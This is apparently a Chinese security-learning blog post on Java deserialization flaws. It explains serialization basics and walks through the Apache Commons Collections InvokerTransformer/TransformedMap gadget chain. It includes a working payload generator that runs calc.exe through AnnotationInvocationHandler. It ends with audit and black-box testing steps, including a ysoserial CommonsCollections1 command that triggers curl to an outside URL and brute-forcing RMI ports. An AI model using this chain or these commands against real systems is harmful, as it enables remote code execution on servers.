关于反序列化的原理不在多说,和php类似,序列化的数据是方便存储的,而存储的状态信息想要再次调用就需要反序列化
实现方法
Java.io.ObjectOutputStream
java.io.ObjectInputStream
序列化: ObjectOutputStream
类 --> writeObject()
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中,输出的文件为二进制
反序列化: ObjectInputStream
类 --> readObject()
注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回
对象可序列化的要求
实现Serializable和Externalizable接口的类的对象才能被序列化
Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式
序列化实例
下面给出一个序列化的实例,首先是实现Serializable接口待序列化对象
public class Employee implements java.io.Serializable{//定义实现了Serializable接口的Employee类
public String name; //定义name变量
public String identify; //定义身份变量
public void mailCheck()
{
System.out.println("This is the "+this.identify+" of our company");
} //输出函数
}
序列化类代码如下
import java.io.*;
public class sdemo { //序列化类
public static void main(String [] args) //主函数
{
Employee e = new Employee(); //实例化Employee类
e.name = "admin";
e.identify = "admin"; //实例化类的属性
try //抓取异常
{
FileOutputStream fileOut = new FileOutputStream("E:\\test\\test.db"); // 打开一个文件输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);// 建立对象输入流
out.writeObject(e);//输出反序列化对象
out.close();//关闭对象流
fileOut.close();//关闭文件流
System.out.printf("数据保存在 E:\\test\\test.db文件中");
}catch(IOException i)
{
i.printStackTrace();
}
}
}
执行函数,如下
文件内容如下,也不是很好看懂,毕竟是二进制文件,直接打开会乱码
而文件的二进制形态是什么样呢?
java序列化的数据库一般都是aced0005开头,当然严格来说应该是aced开头,0005有时候会不太一样,我昨天的序列化数据就是2005,查询某些资料说是跟什么版本有关
下面我们对 test.db 文件进行反序列化,代码如下
import java.io.*;
public class UnSDemo {
public static void main(String [] args)
{
Employee e = null;//和php类似,我们需要有个对象来接受反序列化的数据
try
{
FileInputStream fileIn = new FileInputStream("E:\\test\\test.db");// 打开一个文件输入流
ObjectInputStream in = new ObjectInputStream(fileIn);// 建立对象输入流
e = (Employee) in.readObject();// 通过readobject方法读取对象
in.close();//关闭对象流
fileIn.close();//关闭文件流
}catch(IOException i) {
i.printStackTrace();
return;
}catch(ClassNotFoundException c) {
System.out.println("未发现test.db文件");
c.printStackTrace();
return;
}
System.out.println("反序列化成功...");
System.out.println("Name: " + e.name);
System.out.println("identify: "+e.identify);
}
}
执行结果如下
反序列化漏洞
与php饭学列化漏洞类似,要想产生漏洞,必要的条件就是参数可控啊
而我们在利用反序列化漏洞的时候肯定是想getshell或者命令执行啊,但是默认的readobject方法是无法帮我们实现这些要求的,下面说一下漏洞的两大成因
开发失误
开发人员对反序列化完全没有进行安全审查,在被序列化的对象类中重写了readobject方法,那么在反序列的过程中,会使用被反序列化类的readObejct方法
如下代码会成功弹出计算器
package com.test;
import java.io.*;
public class test {
public static void main(String args[]) throws Exception{
UnsafeClass Unsafe = new UnsafeClass();
Unsafe.name = "弹出计算器";
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将Unsafe对象写入object文件
os.writeObject(Unsafe);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class UnsafeClass implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行命令
Runtime.getRuntime().exec("calc.exe");
}
}
如上图我们在UnsafeClass类中定义了name属性,并且重写了readobject方法,在原有的基础上添加了执行命令的代码,最中弹出计算器
而在实际环境中,有些常识的开发者都不会直接将命令写在readObject中,因此此处就需要通过反射链来进行任意代码执行了
基础库中的反序列化漏洞
2015年由黑客Gabriel Lawrence和Chris Frohoff发现的‘Apache Commons Collections’类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天该漏洞的影响仍未消散。
存在危险的基础库
- commons-fileupload 1.3.1
- commons-io 2.4
- commons-collections 3.1
- commons-logging 1.2
- commons-beanutils 1.9.2
- org.slf4j:slf4j-api 1.7.21
- com.mchange:mchange-commons-java 0.2.11
- org.apache.commons:commons-collections 4.0
- com.mchange:c3p0 0.9.5.2
- org.beanshell:bsh 2.0b5
- org.codehaus.groovy:groovy 2.3.9
- org.springframework:spring-aop 4.1.4.RELEASE
基础库中的调用流程一般都比较复杂,比如
org.apache.commons.collections.functors.InvokerTransformer
的POP链就涉及反射、泛型等
在这里针对Apache Commons Collections库进行分析,此漏洞版本是3.2.2以下,在4.4版本中甚至直接删除了相关类
官网下载:http://commons.apache.org/proper/commons-collections/download_collections.cgi
其他追踪分析类文章
- Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
- Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
概念引入
java中的反射机制
反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等
java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class
什么是反射?
在运行状态中
- 对于任意一个类,都能够获取到这个类的所有属性和方法
- 对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性)
这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制
也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息
简单来说
反射机制指的是程序在运行时能够获取自身的信息。在java中,只要给定类的名字,那么就可以通过反射机制来获得类的所有信息
获取.class字节码文件对象
获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定
//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段
通过反射机制执行函数
下面的代码中我们利用JAVA 的反射机制来调用计算器。我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑
package com.test;
import java.lang.reflect.InvocationTargetException;
public class FansheTest {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函数
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe"); //执行函数
}
}
什么是反射链?
没有找到具体概念,大概理解一下就是,既然是链,类似于php中的pop链应该也是牵扯到了多种类或者对象,相互间的调用来达成目标,这可能就是个反射链吧
代码跟踪
看了网上许多的文章都是先分析TransformedMap类以及transform()方法的,当然这种分析是从发现漏洞的角度。而我,作为一个刚学习的菜鸡,我表示看了十几篇文章越看越懵逼,毕竟对java代码不熟悉,改天还是得找个同学给讲讲
而接下来,我们已知漏洞存在,我们去跟踪漏洞的代码,首先此漏洞是存在于Apache Commons Collections第三方基础库中的,而前面我们已经提及要想产生漏洞我们需要对readobject方法进行重写,我们发现了这么一个类,但这个类应该是不在Apache Commons Collections库中的,这个类是AnnotationInvocationHandler类
下面是新版本的代码,可以说程序员太叼了。。全给换成了var1-12.。看的是一脸懵逼,而且新版本添加了UnsafeAccessor类做安全检测,代码如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
感觉还是老版本的更加人性一点啊,所以还是找一下老版本代码,最后能不能复现成功就看缘分了,反正我也不敢乱删
class AnnotationInvocationHandler implements InvocationHandler, Serializable
{
private final Class extends Annotation> type;
private final Map memberValues;
AnnotationInvocationHandler(Class extends Annotation> type, Map memberValues)
{
this.type = type;
this.memberValues = memberValues;
}
..
//AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException
{
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try
{
annotationType = AnnotationType.getInstance(type);
}
catch(IllegalArgumentException e)
{
// Class is no longer an annotation type; all bets are off
return;
}
Map> memberTypes = annotationType.memberTypes();
for (Map.Entry memberValue : memberValues.entrySet())
{
String name = memberValue.getKey();
Class> memberType = memberTypes.get(name);
if (memberType != null)
{ // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
{
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
}
}
}
}
}
上面的代码我们可以知道,这个类有一个成员变量memberValues,是Map.Entry
类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作 接下来就该跟踪Map是个什么鬼,setValue又是操作,会有什么用呢?
Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样)
该库定义了TransformedMap结构,其定义了一个静态方法decorate(),可以完成Map结构的转换
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
用此静态方法实现Map类的转换
Map oldMap = new HashMap();
Map newMap = TransformedMap.decorate(oldMap,keyTransformer,valueTransformer);
当TransformedMap的setValue()方法被调用时,会调用抽闲父类AbstractInputCheckedMapDecorator的setValue()方法
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
接着我们又回到TransformedMap的checkSetValue方法,从而调用了transform()方法,并且,transform()方法的参数就是setValue()方法的参数
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
接下来跟进代码,我们需要知道那里定义了transform()方法,发现定义了一个Transformer接口,其代码如下
其中定义的transform()方法用来将一个对象转换成另一个对象
public interface Transformer {
public Object transform(Object input);
}
注意在Apache的commons-collections.jar中,默认实现了ConstantTransformer,InvokerTransformer,ChainedTransformer几个实现,但我们仅需重点关注InvokerTransformer类,查看其transform()方法,下面是类的代码
public class InvokerTransformer implements Transformer, Serializable {
/*
Input参数为要进行反射的对象,
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
*/
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
}
可以看到,上面的transform(),通过java 反射调用了input的iMethodName方法
并且 iMethodName 是通过InvokerTransformer函数的传参值得到的,就是说iMethodName方法可控
这样的结果就是,只要transform()方法被调用(已再Map类中调用,用来checkSetValue),我们的恶意代码就能被执行
下面再介绍两个类
- ChainedTransformer为链式的Transformer,会挨个执行我们定义的 Transformer
- ConstantTransformer类通过transform转换得到内部类的对象类型,如参数是Runtime.class时,经ConstantTransformer类执行后返回java.lang.Runtime
理一下思路
- 首先构造一个Map和一个能够执行代码的ChainedTransformer,
- 生成一个TransformedMap实例
- 实例化AnnotationInvocationHandler,其成员变量memberValues就是TransformedMap实例,并对其进行序列化,
- 当触发readObject()反序列化的时候,就能实现命令执行
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class main2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers); //实例化一个反射链
Map innerMap = new HashMap(); //实例化一个Map对象
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到 AnnotationInvocationHandler类的字节码文件
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); //得到我们构造好的 AnnotationInvocationHandler类实例
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(f); //创建一个对象输出流
out.writeObject(instance); //将我们构造的 AnnotationInvocationHandler类进行序列化
out.flush();
out.close();
}
}
白盒检测
当持有程序源码时,可以采用这种方法,逆向寻找漏洞。
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
流程如下:
① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
可以搜索以下函数:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
小数点前面是类名,后面是方法名
② 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。
③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。
④ 若包含危险库,则使用ysoserial进行攻击复现。
黑盒检测
在黑盒测试中并不清楚对方的代码架构,但仍然可以通过分析十六进制数据块,锁定某些存在漏洞的通用基础库(比如Apache Commons Collection)的调用地点,并进行数据替换,从而实现利用。
在实战过程中,我们可以通过抓包来检测请求中可能存在的序列化数据。
序列化数据通常以AC ED
开始,之后的两个字节是版本号,版本号一般是00 05
但在某些情况下可能是更高的数字。
为了理解反序列化数据样式,我们使用以下代码举例:
import java.io.*;
public class SerializeDemo
{
public static void main(String [] args)
{
Employee e = new Employee();
e.name = "员工甲";
e.identify = "General staff";
try
{
// 打开一个文件输入流
FileOutputStream fileOut =
new FileOutputStream("D:\\Task\\employee1.db");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(e);
out.close();
fileOut.close();
System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
}catch(IOException i)
{
i.printStackTrace();
}
}
}
在本地环境下运行一下,即可看到生成的employee1.db文件。
生成的employee1.db反序列化数据为(可用Winhex、Sublime等工具打开):
需要注意的是,AC ED 00 05
是常见的序列化数据开始,但有些应用程序在整个运行周期中保持与服务器的网络连接,如果攻击载荷是在延迟中发送的,那检测这四个字节就是无效的。所以有些防火墙工具在检测反序列化数据时仅仅检测这几个字节是不安全的设置。
所以我们也要对序列化转储过程中出现的Java类名称进行检测,Java类名称可能会以“L”开头的替代格式出现 ,以';'结尾 ,并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的'sr'或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的'xp'。
识别出序列化数据后,就要定位插入点,不同的数据类型有以下的十六进制对照表:
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM
AC ED 00 05
之后可能跟上述的数据类型说明符,也可能跟77(TC_BLOCKDATA元素)
或7A(TC_BLOCKDATALONG元素)
其后跟的是块数据。
序列化数据信息是将对象信息按照一定规则组成的,那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。并且有大牛写好了现成的工具-SerializationDumper
用法:java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2
后面跟的十六进制字符串即为序列化后的数据
工具自动解析出包含的数据类型之后,就可以替换掉TC_BLOCKDATE进行替换了。AC ED 00 05
经过Base64编码之后为rO0AB
在实战过程中,我们可以通过tcpdump抓取TCP/HTTP请求,通过SerialBrute.py去自动化检测,并插入ysoserial生成的expSerialBrute.py -r
SerialBrute.py -p
使用ysoserial.jar访问请求记录判断反序列化漏洞是否利用成功:java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
当怀疑某个web应用存在Java反序列化漏洞,可以通过以上方法扫描并爆破攻击其RMI或JMX端口(默认1099)。
参考文章
https://www.cnblogs.com/KevinGeorge/p/8448967.html
https://xz.aliyun.com/t/2041
https://www.freebuf.com/articles/web/149931.html
https://www.jianshu.com/p/4060bb2e24cb
https://www.freebuf.com/column/155381.html
https://blog.csdn.net/u010651541/article/details/78369181